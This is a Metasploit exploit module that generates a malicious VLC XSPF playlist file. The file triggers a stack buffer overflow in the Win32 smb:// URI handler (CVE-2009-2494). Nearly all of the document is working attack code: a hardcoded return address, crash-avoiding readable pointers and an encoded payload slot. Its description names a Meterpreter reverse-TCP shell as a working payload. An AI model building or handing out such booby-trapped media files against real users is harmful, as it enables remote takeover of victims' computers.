VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow

`##  
# $Id: vlc_smb_uri.rb 8475 2010-02-13 06:58:27Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in the Win32AddConnection  
function of the VideoLAN VLC media player. Versions 0.9.9 throught 1.0.1 are  
reportedly affected.  
  
This vulnerability is only present in Win32 builds of VLC.  
  
This payload was found to work with the windows/exec and  
windows/meterpreter/reverse_tcp payloads. However, the  
windows/meterpreter/reverse_ord_tcp was found not to work.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'jduck' ],  
'Version' => '$Revision: 8475 $',  
'References' =>  
[  
[ 'BID', '35500' ],  
[ 'OSVDB', '55509' ],  
[ 'CVE', '2009-2494' ],  
[ 'URL', 'http://git.videolan.org/?p=vlc.git;a=commit;h=e60a9038b13b5eb805a76755efc5c6d5e080180f' ],  
[ 'URL', 'http://milw0rm.com/exploits/9209' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/9029' ]  
],  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'DisableNops' => true,  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'ESI',  
}  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'vlc 0.9.9 on Windows XP SP3',  
# shellcode pointers @ esp + {0xa4,0xd0,0xdc,0xec,0x1ec}  
{  
'Readable' => 0x65414141, # points to nul bytes in libmod_plugin  
'Offset' => 409,  
# libvout_directx_plugin.dll  
# add esp,0xcc / pop ebx / pop esi / pop edi / pop ebp / ret  
# esi is used as our buffer register, and also becomes eip  
# (there are two copies of the pointer on the stack)  
'Ret' => 0x6b54543e,   
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jun 24 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xspf']),  
], self.class)  
end  
  
def exploit  
  
template = %Q|<?xml version="1.0" encoding="UTF-8"?>  
<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">  
<title>Playlist</title>  
<trackList>  
<track>  
<location>REPLACE_ME</location>  
<extension application="http://www.videolan.org/vlc/playlist/0">  
<vlc:id>0</vlc:id>  
</extension>  
</track>  
</trackList>  
</playlist>  
|  
  
readable = [target['Readable']].pack('V')  
  
# we'll model the memory layout post-overflow..  
#psz_remote = Rex::Text.pattern_create(2+260+1+260)  
psz_remote = rand_text_alphanumeric(target['Offset'] + 4)  
psz_remote[0,2] = "\\\\"  
psz_remote[2+260,1] = "\\"  
  
# some of this causes crashes in "WNetAddConnection2A" so we need to use  
# readable addresses... dodging the crashy derefs!  
# NOTE: some of these only occur in odd open scenarios (like drag/drop)  
psz_remote[263,4] = readable  
psz_remote[271,4] = readable  
psz_remote[325,4] = readable  
psz_remote[337,4] = readable  
  
# add the return addr in  
psz_remote[target['Offset'],4] = [target.ret].pack('V')  
  
# now we can split it and put it in the xml...  
host,share = psz_remote[2,psz_remote.length].split("\\")  
path = "smb://%s@%s/%s/" % [payload.encoded, host, share]  
sploit = template.gsub(/REPLACE_ME/, path)  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(sploit)  
  
end  
  
end  
`